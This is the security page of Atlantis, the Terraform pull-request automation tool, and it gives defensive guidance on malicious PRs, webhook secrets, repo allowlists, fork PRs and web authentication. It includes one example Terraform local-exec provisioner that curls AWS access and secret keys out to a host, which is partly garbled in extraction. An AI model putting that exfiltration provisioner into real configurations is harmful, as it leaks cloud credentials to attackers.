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Because you usually run Atlantis on a server with credentials that allow access to your infrastructure it's important that you deploy Atlantis securely.

Atlantis could be exploited by

  • An attacker submitting a pull request that contains a malicious Terraform file that uses a malicious provider or an external data source that Atlantis then runs terraform plan on (which it does automatically unless you've turned off automatic plans).

  • Running terraform apply on a malicious Terraform file with local-exec

    resource "null_resource" "null" {
      provisioner "local-exec" {
        command = "curl$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
  • Running malicious custom build commands specified in an atlantis.yaml file. Atlantis uses the atlantis.yaml file from the pull request branch, not main.

  • Someone adding atlantis plan/apply comments on your valid pull requests causing terraform to run when you don't want it to.

Bitbucket Cloud (


Bitbucket Cloud does not support webhook secrets. This could allow attackers to spoof requests from Bitbucket. Ensure you are allowing only Bitbucket IPs.

Bitbucket Cloud doesn't support webhook secrets. This means that an attacker could make fake requests to Atlantis that look like they're coming from Bitbucket.

If you are specifying --repo-allowlist then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.

To prevent this, allowlist Bitbucket's IP addresses (see Outbound IPv4 addresses).


Don't Use On Public Repos

Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.

Don't Use --allow-fork-prs

If you're running on a public repo (which isn't recommended, see above) you shouldn't set --allow-fork-prs (defaults to false) because anyone can open up a pull request from their fork to your repo.


Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the --repo-allowlist flag. For example:

  • Specific repositories:,
  • Your whole organization:*
  • Every repository in your GitHub Enterprise install:*
  • You can also omit specific repos: --repo-allowlist='*,!'
  • All repositories: --repo-allowlist=*. Useful for when you're in a protected network but dangerous without also setting a webhook secret.

This flag ensures your Atlantis install isn't being used with repositories you don't control. See atlantis server --help for more details.

Protect Terraform Planning

If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that terraform apply approvals are not enough. It is possible to run malicious code in a terraform plan using the external data source or by specifying a malicious provider. This code could then exfiltrate your credentials.

To prevent this, you could:

  1. Bake providers into the Atlantis image or host and deny egress in production.
  2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
  3. Modify your server-side repo configuration's plan step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the plan to continue. Conftest could be of use here.


The files on your Atlantis install may be accessible as variable definition files from pull requests by adding
atlantis plan -- -var-file=/path/to/file comments. To mitigate this security risk, Atlantis has limited such access only to the files allowlisted by the --var-file-allowlist flag. If this argument is not provided, it defaults to Atlantis' data directory.

Webhook Secrets

Atlantis should be run with Webhook secrets set via the $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET environment variables. Even with the --repo-allowlist flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).


If you are using Azure DevOps, instead of webhook secrets add a [basic username and password](#azure devops basic authentication)

Azure DevOps Basic Authentication

Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.


If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the --ssl-cert-file and --ssl-key-file flags.

Enable Authentication on Atlantis Web Server

It is very recommended to enable authentication in the web service. Enable BasicAuth using the --web-basic-auth=true and setup a username and a password using --web-username=yourUsername and --web-password=yourPassword flags.

You can also pass these as environment variables ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername and ATLANTIS_WEB_PASSWORD=yourPassword.


We do encourage the usage of complex passwords in order to prevent basic bruteforcing attacks.